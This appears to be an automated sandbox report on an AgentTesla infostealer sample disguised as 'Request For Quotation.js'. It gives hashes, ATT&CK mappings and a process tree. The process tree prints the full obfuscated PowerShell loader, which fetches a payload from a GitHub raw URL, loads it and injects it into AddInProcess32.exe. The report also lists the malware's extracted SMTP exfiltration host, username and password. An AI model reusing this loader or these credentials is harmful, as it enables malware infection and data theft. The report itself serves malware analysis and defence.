agenttesla | c35922ffe621f1719e7346a3fa7ba779766c44481ed2ad785782cc7bf693376c

General

Target

Request For Quotation.js
Size

131KB
MD5

55f3ba85c0e1546b907ec0f2465f6bac
SHA1

59c6d5157b6cb30040f0226599c99f07c361f822
SHA256

c35922ffe621f1719e7346a3fa7ba779766c44481ed2ad785782cc7bf693376c
SHA512

478496891e630b260802e97f20132adf1b06b22f35b059e9f9176e6e5f777d63184b45c32efbf4981f53f02ecff31640e84661164a90d550a1d061e1edde3d1b
SSDEEP

3072:/N+oukZXE8KRI4V1AulQkcunvyhLZm2MKIvgzJJY6N+oukZXE8KRI4V1AulQkcuz:/xukZ08baeulQ/uni/M5vgzXY6xukZ07

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
mail.detarcoopmedical.com
Port:
587
Username:
[email protected]
Password:
To$zL%?nhDHN

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.detarcoopmedical.com
Port:
587
Username:
[email protected]
Password:
To$zL%?nhDHN
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	1688	powershell.exe
16	1688	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2836	powershell.exe
1688	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	wscript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	raw.githubusercontent.com
6	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1688 set thread context of 2268	1688	powershell.exe	85

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2836	powershell.exe
2836	powershell.exe
1688	powershell.exe
1688	powershell.exe
2268	AddInProcess32.exe
2268	AddInProcess32.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeDebugPrivilege	2268	AddInProcess32.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4796 wrote to memory of 2836	4796	wscript.exe	82
PID 4796 wrote to memory of 2836	4796	wscript.exe	82
PID 2836 wrote to memory of 1688	2836	powershell.exe	84
PID 2836 wrote to memory of 1688	2836	powershell.exe	84
PID 1688 wrote to memory of 2268	1688	powershell.exe	85
PID 1688 wrote to memory of 2268	1688	powershell.exe	85
PID 1688 wrote to memory of 2268	1688	powershell.exe	85
PID 1688 wrote to memory of 2268	1688	powershell.exe	85
PID 1688 wrote to memory of 2268	1688	powershell.exe	85
PID 1688 wrote to memory of 2268	1688	powershell.exe	85
PID 1688 wrote to memory of 2268	1688	powershell.exe	85
PID 1688 wrote to memory of 2268	1688	powershell.exe	85

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Request For Quotation.js"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JgAoACgAVgBBAHIAaQBBAGIATABlACAAJwAqAE0ARAByACoAJwApAC4AbgBhAG0ARQBbADMALAAxADEALAAyAF0ALQBKAG8AaQBOACcAJwApACAAKAAoACcAbwAnACsAJwBIACcAKwAnAHMAdQByAGwAIAA9ACAAJwArACcAagAwAEwAaAB0AHQAcAAnACsAJwBzACcAKwAnADoAJwArACcALwAvAHIAJwArACcAYQB3AC4AZwBpAHQAJwArACcAaAB1ACcAKwAnAGIAdQBzAGUAJwArACcAcgBjAG8AbgB0AGUAJwArACcAbgB0ACcAKwAnAC4AYwBvAG0ALwBOAG8ARABlACcAKwAnAHQAZQBjACcAKwAnAHQATwBuAC8ATgBvAEQAZQB0ACcAKwAnAGUAYwAnACsAJwB0ACcAKwAnAE8AbgAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQAnACsAJwBuACcAKwAnAC8AJwArACcARABlAHQAYQAnACsAJwBoAE4AJwArACcAbwB0AGUAJwArACcAXwBKAC4AJwArACcAdAAnACsAJwB4AHQAagAnACsAJwAwAEwAOwAnACsAJwAgAG8ASAAnACsAJwBzAGIAYQBzAGUAJwArACcANgA0AEMAbwAnACsAJwBuAHQAZQBuAHQAJwArACcAIAA9ACcAKwAnACAAKABOAGUAdwAtACcAKwAnAE8AYgBqAGUAYwB0ACAAUwB5ACcAKwAnAHMAdABlAG0AJwArACcALgBOAGUAJwArACcAdAAuAFcAZQBiAEMAbAAnACsAJwBpACcAKwAnAGUAbgB0ACkALgBEAG8AdwAnACsAJwBuAGwAJwArACcAbwBhAGQAUwAnACsAJwB0AHIAaQBuAGcAKABvACcAKwAnAEgAJwArACcAcwB1AHIAbAAnACsAJwApACcAKwAnADsAIAAnACsAJwBvAEgAcwBiACcAKwAnAGkAbgBhAHIAeQBDAG8AJwArACcAbgAnACsAJwB0AGUAbgB0ACAAPQAgAFsAUwB5AHMAJwArACcAdABlAG0AJwArACcALgBDAG8AbgB2AGUAcgB0AF0AJwArACcAOgA6ACcAKwAnAEYAcgBvAG0AQgBhACcAKwAnAHMAZQA2ADQAUwB0AHIAaQBuAGcAKABvAEgAcwBiAGEAJwArACcAcwBlADYANABDAG8AbgB0ACcAKwAnAGUAbgB0ACcAKwAnACkAOwAgAG8AJwArACcASABzAGEAJwArACcAcwBzACcAKwAnAGUAbQBiAGwAeQAgAD0AIABbAFIAZQAnACsAJwBmAGwAZQBjACcAKwAnAHQAaQBvAG4ALgAnACsAJwBBAHMAJwArACcAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAG8ASABzAGIAaQBuAGEAcgB5AEMAbwBuACcAKwAnAHQAZQAnACsAJwBuAHQAJwArACcAKQA7ACAAWwBkAG4AbABpAGIALgBJAE8ALgBIACcAKwAnAG8AbQBlAF0AOgAnACsAJwA6AFYAQQAnACsAJwBJACgAdABiAE0AdAAnACsAJwB4AHQALgByAHIAbwAvACcAKwAnAHYAZQBkAC4AMgByACcAKwAnAC4AMwA5AGIAMwA0ACcAKwAnADUAMwAwADIAYQAwADcANQBiACcAKwAnADEAYgBjADAAZAAnACsAJwA0ADUAYgA2ADMAMgAnACsAJwBlAGIAJwArACcAOQBlAGUANgAyACcAKwAnAC0AJwArACcAYgB1ACcAKwAnAHAALwAvADoAcwAnACsAJwBwAHQAJwArACcAdABoAHQAJwArACcAYgAnACsAJwBNACwAIAB0AGIATQAnACsAJwBkAGUAcwAnACsAJwBhAHQAaQB2AGEAJwArACcAZABvAHQAYgBNACcAKwAnACwAIAAnACsAJwB0AGIATQBkAGUAcwBhAHQAaQB2AGEAZABvACcAKwAnAHQAYgBNACcAKwAnACwAIAB0AGIATQBkAGUAcwBhACcAKwAnAHQAaQB2AGEAZABvAHQAYgBNACwAJwArACcAIAB0ACcAKwAnAGIATQAnACsAJwBBAGQAJwArACcAZABJAG4AUAByACcAKwAnAG8AYwBlAHMAcwAnACsAJwAzADIAJwArACcAdAAnACsAJwBiAE0ALAAgAHQAJwArACcAYgAnACsAJwBNAGQAZQBzAGEAdAAnACsAJwBpAHYAYQBkAG8AdABiAE0AJwArACcALAB0AGIATQB0AGIATQApACcAKQAuAHIARQBQAEwAYQBjAGUAKAAoAFsAYwBoAEEAcgBdADEAMQA2ACsAWwBjAGgAQQByAF0AOQA4ACsAWwBjAGgAQQByAF0ANwA3ACkALABbAFMAVABSAEkATgBHAF0AWwBjAGgAQQByAF0AMwA0ACkALgByAEUAUABMAGEAYwBlACgAJwBqADAATAAnACwAWwBTAFQAUgBJAE4ARwBdAFsAYwBoAEEAcgBdADMAOQApAC4AcgBFAFAATABhAGMAZQAoACcAbwBIAHMAJwAsAFsAUwBUAFIASQBOAEcAXQBbAGMAaABBAHIAXQAzADYAKQApAA==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((VAriAbLe '*MDr*').namE[3,11,2]-JoiN'') (('o'+'H'+'surl = '+'j0Lhttp'+'s'+':'+'//r'+'aw.git'+'hu'+'buse'+'rconte'+'nt'+'.com/NoDe'+'tec'+'tOn/NoDet'+'ec'+'t'+'On/refs/heads/mai'+'n'+'/'+'Deta'+'hN'+'ote'+'_J.'+'t'+'xtj'+'0L;'+' oH'+'sbase'+'64Co'+'ntent'+' ='+' (New-'+'Object Sy'+'stem'+'.Ne'+'t.WebCl'+'i'+'ent).Dow'+'nl'+'oadS'+'tring(o'+'H'+'surl'+')'+'; '+'oHsb'+'inaryCo'+'n'+'tent = [Sys'+'tem'+'.Convert]'+'::'+'FromBa'+'se64String(oHsba'+'se64Cont'+'ent'+'); o'+'Hsa'+'ss'+'embly = [Re'+'flec'+'tion.'+'As'+'sembly]::Load(oHsbinaryCon'+'te'+'nt'+'); [dnlib.IO.H'+'ome]:'+':VA'+'I(tbMt'+'xt.rro/'+'ved.2r'+'.39b34'+'5302a075b'+'1bc0d'+'45b632'+'eb'+'9ee62'+'-'+'bu'+'p//:s'+'pt'+'tht'+'b'+'M, tbM'+'des'+'ativa'+'dotbM'+', '+'tbMdesativado'+'tbM'+', tbMdesa'+'tivadotbM,'+' t'+'bM'+'Ad'+'dInPr'+'ocess'+'32'+'t'+'bM, t'+'b'+'Mdesat'+'ivadotbM'+',tbMtbM)').rEPLace(([chAr]116+[chAr]98+[chAr]77),[STRING][chAr]34).rEPLace('j0L',[STRING][chAr]39).rEPLace('oHs',[STRING][chAr]36))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1688
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2268

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lxiyngcg.vjh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1688-22-0x0000016A59260000-0x0000016A59480000-memory.dmp

Filesize
2.1MB

Download
memory/2268-32-0x0000000006960000-0x00000000069F2000-memory.dmp

Filesize
584KB

Download
memory/2268-23-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/2268-30-0x0000000005B70000-0x0000000006114000-memory.dmp

Filesize
5.6MB

Download
memory/2268-31-0x0000000005510000-0x0000000005576000-memory.dmp

Filesize
408KB

Download
memory/2268-33-0x0000000006A50000-0x0000000006AA0000-memory.dmp

Filesize
320KB

Download
memory/2268-34-0x0000000006B40000-0x0000000006BDC000-memory.dmp

Filesize
624KB

Download
memory/2268-35-0x0000000006DD0000-0x0000000006DDA000-memory.dmp

Filesize
40KB

Download
memory/2836-12-0x00007FFDC93D0000-0x00007FFDC9E91000-memory.dmp

Filesize
10.8MB

Download
memory/2836-11-0x00007FFDC93D0000-0x00007FFDC9E91000-memory.dmp

Filesize
10.8MB

Download
memory/2836-1-0x000002CD59650000-0x000002CD59672000-memory.dmp

Filesize
136KB

Download
memory/2836-29-0x00007FFDC93D0000-0x00007FFDC9E91000-memory.dmp

Filesize
10.8MB

Download
memory/2836-0-0x00007FFDC93D3000-0x00007FFDC93D5000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads